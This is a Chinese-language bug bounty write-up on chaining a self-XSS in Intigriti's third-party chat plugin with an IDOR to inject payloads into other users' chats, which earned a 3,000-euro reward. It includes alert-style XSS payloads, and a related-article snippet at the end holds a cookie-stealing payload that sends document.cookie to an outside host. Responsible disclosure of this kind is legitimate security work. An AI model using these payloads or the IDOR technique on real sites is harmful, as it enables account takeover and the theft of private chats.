实战 | 记一次3000欧元赏金的IDOR + Self XSS漏洞挖掘

VSole2022-07-09 09:43:56

每个黑客都会遇到这个,第一个赏金。我实际上无法解释它的感觉,但我知道你们中的大多数人都能理解它的感觉。让我告诉你我第一次赏金的故事。当我们开始在 Web 应用程序安全中进行漏洞赏金时,我们大多数人都会从 XSS(跨站脚本攻击)开始,故事从这里开始。

Markdown — Websockets — 反射型 XSS:

在进入攻击之前,让我们了解一些markdown、websockets和反射xss的基础知识。

  • MarkDown
在 Intigriti、Bugcrowd 或 HackerOne 中提交报告时,您可能会遇到此Markdown。Markdown 有助于更好地表示数据,从而提高可读性。例子,
# heading - 用于标题
** input ** - 用于粗体文本
同样反引号(`)用于表示代码块。
  • WebSocket
WebSocket是一种通过 HTTP 运行的计算机通信协议,它提供了客户端和服务器之间的双向通信通道。
聊天应用程序广泛使用 Websocket 进行无障碍通信。与 HTTP 请求不同,WebSocket 连接保持打开状态,服务器可以在连接生命周期内随时向客户端发送下游数据。
  • 反射型 XSS:
当应用程序在 HTTP 请求中接收数据并以不安全的方式将这些数据包含在即时响应中时,就会出现反射式跨站点脚本(或 XSS)。
参数中的值将在响应中返回,它不存储在数据库或任何地方。例子,
https://www.ladecruze.com/blogs?query=xss<img src=x onerror=alert(document.domain)>
响应可能如下所示,
<html>
<body>
抱歉,我们没有找到 <img src=x onerror=alert(document.domain)>
</body>
</html>
在这里,有效负载将呈现为 html 而不是文本。

Intigriti 是我最喜欢的漏洞赏金平台之一,它经常与安全社区互动。我喜欢他们的 ctfs 和时事通讯。我最喜欢的黑客在 Intigriti 工作,我从中学到了很多。

选择正确的程序总是很重要的。我花了很多时间选择程序。我不小心在我的 Burp中看到了除www.intigriti.com[1] 之外的其他域,我没有搜索过。当我查看请求时,我知道它来自 Intigriti 使用的第三方聊天应用程序。黑客使用此应用程序联系 Intigriti 支持。

我插入有效载荷而不是文本的肌肉记忆是该错误背后的主要原因。当我输入<img src=x onerror=alert()>并得到一些不寻常的有效负载渲染时,我拦截了请求并开始测试 XSS。

测试了几分钟后,我发现反引号 (`) 有问题,并在里面给出了有效载荷,如


<svg onload=alert(document.domain)>

成功发现XSS漏洞

随后,我向 Intigriti 报告,对方告知


我对此进行了调查,恐怕您在这里遇到了误报。我们的聊天通过 WebSockets 进行通信,Burp 拦截来自和发往 WebSocket 服务器的消息。您正在更改来自 websocket 服务器的消息,攻击者无法干预。您所描述的“消毒延迟”是因为 websocket 自动刷新信息(这就是 websockets 的工作方式)。如果您找到一种方法来存储它,换句话说:如果您能够注入有效负载并且它在刷新后仍然出现,那么我们可以再看一下它。但就目前而言,这似乎是预期的行为。
最终我得到了 500 欧元的self xss

如何让漏洞变得更加严重我开始深入思考,最终找到了一种可以真正利用其他用户的方法。

XSS 只是从我这边反映,如果我可以窃取其他黑客的聊天并插入有效载荷,以便我可以对他们进行XSS。

IDOR(不安全的直接对象引用)不安全的直接对象引用(IDOR) 是一种访问控制漏洞,当应用程序使用用户提供的输入直接访问对象时会出现这种漏洞。IDOR 一词因出现在 OWASP 2007 Top 10 中而广为人知。

聊天身份验证如何工作?

Intigriti 将第三方聊天应用程序的脚本嵌入到域中以加载聊天应用程序。向第三方聊天应用程序发出请求以获取密钥,并且该密钥用于获取聊天信息。

应用程序如何将密钥映射到用户,应该有一些映射吧?当我查看获取密钥的请求时,我看到一个带有hash的 vistorId 参数,用于获取密钥。我尝试将hash更改为我的测试帐户哈希并且它有效。


我们实际上意识到了这一点。如您所见,visitorID 具有相当大的熵。它不容易被暴力破解:攻击者不能简单地猜测它。
如果攻击者设法窃取了vistorId ID,他也将能够窃取聊天内容,甚至可能更多。
为了测试,您能解释一下为什么将其标记为关键吗?
大熵值不能被蛮力强制,注意:它可能因人而异,有些人发现六个字符的长度也更大。这完全取决于猜测正确值所需的迭代次数。

如果我不能暴力破解,如何窃取hash?这就是 IDOR 的来源,我开始寻找响应中包含hash的请求。显然,这应该是使用电子邮件或用户名或 userId 等用户数据生成的。我开始篡改请求中影响响应hash的每个参数。

我发现平台其他黑客的用户名是用来检索hash的。没有任何其他授权检查。这些用户名可以在 Intigriti 平台的排行榜中找到。

我使用排行榜用户名中的顶级黑客来利用我的漏洞,并且能够窃取他的聊天并像他一样聊天。

所以我在聊天中插入了有效载荷,当黑客打开 Intigriti 时,会发送一个请求来获取和渲染聊天,BOOM!XSS将在没有任何用户交互的情况下被触发,成功。

最后随后,我报告了问题,Intigriti 第二天就禁用了聊天功能。


在评估此问题的总体严重性时,我们已将聊天身份验证问题 ([ INTIGRITI-IKIN5J ]) 考虑在内。
我们决定将此报告的严重性提高到高,因为这将允许在其他用户的会话中注入 HTML(在某些情况下,这可能会导致旧浏览器上的 XSS 或无法启用 CSP)。
总共,您将获得 3,000 欧元的赏金(这是我们目前的关键支出):[ INTIGRITI-9115R1 ] 为 1,500 欧元,[ INTIGRITI-IKIN5J ] 为 1,500 欧元。
在您周六发表评论后,我们立即禁用了受影响的聊天插件,并就此联系了第三方供应商。我们的调查仍在进行中,但我们已经想支付赏金了。鉴于这似乎是第三方插件中的一个漏洞,我们目前无法允许博客或向第三方披露有关它的详细信息。我们将在未来采取措施防止此类攻击,并将禁用或替换插件,直到找到合适的解决方案。
感谢您让 intigriti 更安全!
漏洞挖掘xss
本作品采用《CC 协议》,转载必须注明作者和本文链接
跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。本期我们讲解一下XSS漏洞原理和利用检测。
ezXSS介绍ezXSS是一款用于渗透测试和漏洞挖掘XSS盲测跨站脚本工具。在演示版本中可能禁用了一些特性。
但当存在存储型XSS时,受害者打开此URL,攻击代码将会被触发,这种情况下便称之为存储型XSS漏洞。在标题处和帖子内容中分别填写payload,填写好之后,应与下图一致填写好内容之后,点击下方的发表按钮,即可进行发帖,发帖成功会弹出一个提示成功,如下图所示?????
xsshelp闲着没事随便写的一个辅助挖掘xss漏洞的工具xsshelp version: 1.0.0Usage: [-ut] [-u url] [-t thread] [-h help]Options: -h this help -t intthread Num -u string a target url
我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。我的payload目前需要最少的用户交互,只需单击即可。之后,向下滚动并单击取消预约。确保您拦截了此请求。使用以下有效载荷添加消息:"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">您通常会收到一个确认框,确认您的预约已取消,单击确定。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。影响我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。这意味着我们必须找到一个具有用户交互的。
在查看电子邮件时,我发现了 Microsoft 的新服务预订。Microsoft booking 允许任何人预订服务/日历时段。此应用程序有两个界面,一个是内部界面,另一个是面向公众的服务页面。我决定深入检查这个应用程序。我尝试插入各种 XSS payload 来触发 xss 但没有成功。现在我的注意力转移到了这个标签上。应用程序有各种保护机制来防止脚本的执行。
在这篇文章中,我将讨论 Microsoft Forms 中反射式跨站点脚本 漏洞的详细信息。它允许用户创建表单和调查,与他人共享,并在集中位置收集响应。但是,我们发现可以将恶意JavaScript代码注入表单中,这些代码可以由毫无戒心的用户执行。我遵循了 MSRC 报告漏洞的准则并提交了我的发现。欲了解更多信息,请参阅:向 MSRC 提交报告的示例 https://www.microsoft.com/en-us/msrc/bounty-example-report-submission微软赏金计划 |微软公司 https://www.microsoft.com/en-us/msrc/bounty?
每个黑客都会遇到这个,第一个赏金。我实际上无法解释它的感觉,但我知道你们中的大多数人都能理解它的感觉。当我们开始在 Web 应用程序安全中进行漏洞赏金时,我们大多数人都会从 XSS开始,故事从这里开始。
记一次NFT平台的存储型XSS和IDOR漏洞这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。我们能够用我们自己的价值观修改受害者用户的个人资料。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品漏洞披露
大家好,在本文中,我将分享我在2个TikTok资产发现的XSS漏洞。当我决定在TikTok 程序中寻找漏洞 时,我花了1个月的时间寻找这个XSS。当我在TikTok 卖家账户上创建产品时,这个 XSS 发现开始了我在卖家账户的产品名称中插入了 XSS payload。
VSole
网络安全专家